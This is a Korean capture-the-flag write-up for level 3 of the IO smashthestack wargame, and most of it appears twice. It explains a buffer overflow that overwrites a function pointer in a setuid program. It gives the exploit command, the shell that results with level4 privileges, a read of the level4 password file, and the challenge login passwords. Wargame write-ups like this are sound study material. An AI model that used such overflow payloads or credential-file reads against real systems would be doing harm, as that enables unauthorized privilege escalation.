Category : System hacking
Summary : overflow , overwrite function pointer
서버에 접속하여 문제 파일을 확인한다.
setuid가 걸린 level4 user의 실행파일을 볼 수 있으며 , source 파일도 제공되어있다.
source 파일을 확인한다.
환경변수 영역을 NULL로 초기화시키고 , 함수 포인터와 char형 배열을 선언하여 argv[1]의 길이가 40이하이면 argv[1]을 buf에 복사해주지만 , 36글자 이하로는 모두 'A'로 덮어버린다.
즉 , argv[1][36] ~ argv[1][40]이 buf[36] ~ buf[40]에 덮이고 buf[0]~buf[35]는 모두 'A'로 덮인다.
프로그램에서 buf는 32바이트가 선언됬지만 argv[1]에서 최대 40글자까지 복사하기 때문에 sfp 나 return address가 저장된 영역은 건드리지 못하여도 먼저 선언된 변수영역을 조작할 수 있다.
buf[36]부터 buf[40]까지만 원하는 값으로 조작가능한데 해당영역이 함수 포인터(fptr)변수 영역이다.
fptr에 쉘을 실행하는 함수인 hmm의 주소를 넣어준다면 hmm함수가 실행되어 level4 user의 쉘을 획득하게된다.
level4 user의 쉘을 얻고 password를 획득하였다.
ssh://io.smashthestack.org:2224 id : level3 pw : f9esfdy8T6Hd |
Summary : overflow , overwrite function pointer
서버에 접속하여 문제 파일을 확인한다.
level3@io:/levels$ ls -l | grep level03 -r-sr-x--- 1 level4 level3 7768 Nov 18 2007 level03 -r-------- 1 level3 level3 603 Nov 18 2007 level03.c |
setuid가 걸린 level4 user의 실행파일을 볼 수 있으며 , source 파일도 제공되어있다.
source 파일을 확인한다.
level3@io:/levels$ cat level03.c int good(int addr) { extern char **environ; int main(int argc, char **argv) { int i, limit; for(i = 0; environ[i] != NULL; i++) int (*fptr)(int) = good; int (*hmmptr)(int) = hmm; (*fptr)((int)hmmptr); |
환경변수 영역을 NULL로 초기화시키고 , 함수 포인터와 char형 배열을 선언하여 argv[1]의 길이가 40이하이면 argv[1]을 buf에 복사해주지만 , 36글자 이하로는 모두 'A'로 덮어버린다.
즉 , argv[1][36] ~ argv[1][40]이 buf[36] ~ buf[40]에 덮이고 buf[0]~buf[35]는 모두 'A'로 덮인다.
프로그램에서 buf는 32바이트가 선언됬지만 argv[1]에서 최대 40글자까지 복사하기 때문에 sfp 나 return address가 저장된 영역은 건드리지 못하여도 먼저 선언된 변수영역을 조작할 수 있다.
buf[36]부터 buf[40]까지만 원하는 값으로 조작가능한데 해당영역이 함수 포인터(fptr)변수 영역이다.
fptr에 쉘을 실행하는 함수인 hmm의 주소를 넣어준다면 hmm함수가 실행되어 level4 user의 쉘을 획득하게된다.
level3@io:/levels$ ./level03 `python -c 'print "pwn3r"'` Address of hmm: 0x804847f level3@io:/levels$ ./level03 `python -c 'print "\x7f\x84\x04\x08"*10'` Win. sh-3.2$ id uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu) sh-3.2$ cat /home/level4/.pass 1ZwMe9q1nDC9 |
level4 user의 쉘을 얻고 password를 획득하였다.
'Wargame > IO.smashthestack.org' 카테고리의 다른 글
IO smashthestack level5 (0) | 2011.07.25 |
---|---|
IO smashthestack level4 (0) | 2011.07.25 |
IO smashthestack level2 (0) | 2011.07.17 |
IO smashthestack level1 (0) | 2011.07.17 |